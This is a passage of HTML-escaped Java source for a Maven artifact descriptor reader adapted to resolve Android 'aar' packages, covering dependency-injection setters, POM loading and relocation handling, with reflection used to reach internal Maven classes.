locator.getService(ModelBuilder.class);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (modelBuilder == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e setModelBuilder(\u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultModelBuilderFactory\u003c/span\u003e().newInstance());\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetLoggerFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(LoggerFactory loggerFactory)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.logger = NullLoggerFactory.getSafeLogger(loggerFactory, getClass());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003esetLogger\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(LoggerFactory loggerFactory)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// plexus support\u003c/span\u003e\u003cbr\u003e setLoggerFactory(loggerFactory);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetRemoteRepositoryManager\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RemoteRepositoryManager remoteRepositoryManager)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (remoteRepositoryManager == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;remote repository manager has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.remoteRepositoryManager = remoteRepositoryManager;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetVersionResolver\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(VersionResolver versionResolver)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (versionResolver == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;version resolver has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.versionResolver = versionResolver;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetArtifactResolver\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(ArtifactResolver artifactResolver)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (artifactResolver == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;artifact resolver has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.artifactResolver = artifactResolver;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetRepositoryEventDispatcher\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositoryEventDispatcher repositoryEventDispatcher)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (repositoryEventDispatcher == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;repository event dispatcher has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.repositoryEventDispatcher = repositoryEventDispatcher;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetModelBuilder\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(ModelBuilder modelBuilder)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (modelBuilder == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;model builder has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.modelBuilder = modelBuilder;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e ArtifactDescriptorResult \u003cspan class=\"hljs-title function_\"\u003ereadArtifactDescriptor\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e ArtifactDescriptorRequest request)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e ArtifactDescriptorException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorResult\u003c/span\u003e(request);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eModel\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003emodel\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e loadPom(session, request, result);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (model != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactTypeRegistry\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003estereotypes\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getArtifactTypeRegistry();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (Repository r : model.getRepositories()) \u0026#123;\u003cbr\u003e result.addRepository(ArtifactDescriptorUtils.toRemoteRepository(r));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (org.apache.maven.model.Dependency dependency : model.getDependencies()) \u0026#123;\u003cbr\u003e result.addDependency(convert(dependency, stereotypes));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyManagement\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003emngt\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getDependencyManagement();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (mngt != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (org.apache.maven.model.Dependency dependency : mngt.getDependencies()) \u0026#123;\u003cbr\u003e result.addManagedDependency(convert(dependency, stereotypes));\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e Map\u0026lt;String, Object\u0026gt; properties = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLinkedHashMap\u003c/span\u003e\u0026lt;String, Object\u0026gt;();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003ePrerequisites\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eprerequisites\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getPrerequisites();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (prerequisites != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;prerequisites.maven\u0026quot;\u003c/span\u003e, prerequisites.getMaven());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e List\u0026lt;License\u0026gt; licenses = model.getLicenses();\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.count\u0026quot;\u003c/span\u003e, licenses.size());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ei\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e; i \u0026lt; licenses.size(); i++) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eLicense\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elicense\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e licenses.get(i);\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.\u0026quot;\u003c/span\u003e + i + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.name\u0026quot;\u003c/span\u003e, license.getName());\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.\u0026quot;\u003c/span\u003e + i + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.url\u0026quot;\u003c/span\u003e, license.getUrl());\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.\u0026quot;\u003c/span\u003e + i + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.comments\u0026quot;\u003c/span\u003e, license.getComments());\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.\u0026quot;\u003c/span\u003e + i + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.distribution\u0026quot;\u003c/span\u003e, license.getDistribution());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e result.setProperties(properties);\u003cbr\u003e\u003cbr\u003e setArtifactProperties(result, model);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e result;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Model \u003cspan class=\"hljs-title function_\"\u003eloadPom\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, ArtifactDescriptorRequest request,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e ArtifactDescriptorResult result)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e ArtifactDescriptorException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRequestTrace\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrace\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e RequestTrace.newChild(request.getTrace(), request);\u003cbr\u003e\u003cbr\u003e Set\u0026lt;String\u0026gt; visited = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLinkedHashSet\u003c/span\u003e\u0026lt;String\u0026gt;();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eartifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e request.getArtifact(); ; ) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersionRequest\u003c/span\u003e(artifact, request.getRepositories(), request.getRequestContext());\u003cbr\u003e versionRequest.setTrace(trace);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionResult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e versionResolver.resolveVersion(session, versionRequest);\u003cbr\u003e\u003cbr\u003e artifact = artifact.setVersion(versionResult.getVersion());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (VersionResolutionException e) \u0026#123;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!visited.add(artifact.getGroupId() + \u003cspan class=\"hljs-string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e + artifact.getArtifactId() + \u003cspan class=\"hljs-string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e + artifact.getBaseVersion())) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRepositoryException\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eexception\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositoryException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;Artifact relocations form a cycle: \u0026quot;\u003c/span\u003e + visited);\u003cbr\u003e invalidDescriptor(session, trace, artifact, exception);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ((getPolicy(session, artifact, request) \u0026amp; ArtifactDescriptorPolicy.IGNORE_INVALID) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException(exception);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epomArtifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e ArtifactDescriptorUtils.toPomArtifact(artifact);\u003cbr\u003e\u003cbr\u003e ArtifactResult resolveResult;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresolveRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactRequest\u003c/span\u003e(pomArtifact, request.getRepositories(), request.getRequestContext());\u003cbr\u003e resolveRequest.setTrace(trace);\u003cbr\u003e resolveResult = artifactResolver.resolveArtifact(session, resolveRequest);\u003cbr\u003e pomArtifact = resolveResult.getArtifact();\u003cbr\u003e result.setRepository(resolveResult.getRepository());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (ArtifactResolutionException e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (e.getCause() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e ArtifactNotFoundException) \u0026#123;\u003cbr\u003e missingDescriptor(session, trace, artifact, (Exception) e.getCause());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ((getPolicy(session, artifact, request) \u0026amp; ArtifactDescriptorPolicy.IGNORE_MISSING) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e Model model;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eModelBuildingRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003emodelRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultModelBuildingRequest\u003c/span\u003e();\u003cbr\u003e modelRequest.setValidationLevel(ModelBuildingRequest.VALIDATION_LEVEL_MINIMAL);\u003cbr\u003e modelRequest.setProcessPlugins(\u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e);\u003cbr\u003e modelRequest.setTwoPhaseBuilding(\u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e);\u003cbr\u003e modelRequest.setSystemProperties(toProperties(session.getUserProperties(),\u003cbr\u003e session.getSystemProperties()));\u003cbr\u003e modelRequest.setModelCache(\u003cbr\u003e Reflect.on(\u003cspan class=\"hljs-string\"\u003e\u0026quot;org.apache.maven.repository.internal.DefaultModelCache\u0026quot;\u003c/span\u003e)\u003cbr\u003e .call(\u003cspan class=\"hljs-string\"\u003e\u0026quot;newInstance\u0026quot;\u003c/span\u003e, session).get());\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e//modelRequest.setModelCache( DefaultModelCache.newInstance( session ) );\u003c/span\u003e\u003cbr\u003e modelRequest.setModelResolver(\u003cbr\u003e Reflect.on(\u003cspan class=\"hljs-string\"\u003e\u0026quot;org.apache.maven.repository.internal.DefaultModelResolver\u0026quot;\u003c/span\u003e)\u003cbr\u003e .create(session, trace.newChild(modelRequest),\u003cbr\u003e request.getRequestContext(), artifactResolver,\u003cbr\u003e remoteRepositoryManager,\u003cbr\u003e request.getRepositories())\u003cbr\u003e .get());\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// modelRequest.setModelResolver(new DefaultModelResolver(session, trace.newChild(modelRequest),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// request.getRequestContext(), artifactResolver,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// remoteRepositoryManager,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// request.getRepositories()));\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (resolveResult.getRepository() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e WorkspaceRepository) \u0026#123;\u003cbr\u003e modelRequest.setPomFile(pomArtifact.getFile());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e modelRequest.setModelSource(\u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eFileModelSource\u003c/span\u003e(pomArtifact.getFile()));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e model = modelBuilder.build(modelRequest).getEffectiveModel();\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (ModelBuildingException e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (ModelProblem problem : e.getProblems()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (problem.getException() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e UnresolvableModelException) \u0026#123;\u003cbr\u003e result.addException(problem.getException());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e invalidDescriptor(session, trace, artifact, e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ((getPolicy(session, artifact, request) \u0026amp; ArtifactDescriptorPolicy.IGNORE_INVALID) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRelocation\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erelocation\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e getRelocation(model);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eString\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epackaging\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getPackaging();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"hljs-string\"\u003e\u0026quot;aar\u0026quot;\u003c/span\u003e.equals(packaging)) \u0026#123; \u003cspan class=\"hljs-comment\"\u003e//适配aar类型\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e//根据POM重置artifact的extenstion\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e Class\u0026lt;DefaultArtifact\u0026gt; artifactCls = DefaultArtifact.class;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eField\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eextension\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e artifactCls.getDeclaredField(\u003cspan class=\"hljs-string\"\u003e\u0026quot;extension\u0026quot;\u003c/span\u003e);\u003cbr\u003e extension.setAccessible(\u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e extension.set(result.getArtifact(), model.getPackaging());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (Exception e) \u0026#123;\u003cbr\u003e e.printStackTrace();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (relocation != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e result.addRelocation(artifact);\u003cbr\u003e artifact = Reflect.on(\u003cspan class=\"hljs-string\"\u003e\u0026quot;org.apache.maven.repository.internal.RelocatedArtifact\u0026quot;\u003c/span\u003e)\u003cbr\u003e .create(artifact, relocation.getGroupId(), relocation.getArtifactId(),\u003cbr\u003e relocation.getVersion()).get();\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// artifact =\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// new RelocatedArtifact(artifact, relocation.getGroupId(), relocation.getArtifactId(),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// relocation.getVersion());\u003c/span\u003e\u003cbr\u003e result.setArtifact(artifact);\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e model;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Properties \u003cspan class=\"hljs-title function_\"\u003etoProperties\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Map\u0026lt;String, String\u0026gt; dominant, Map\u0026lt;String, String\u0026gt; recessive)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eProperties\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eprops\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eProperties\u003c/span\u003e();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (recessive != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e 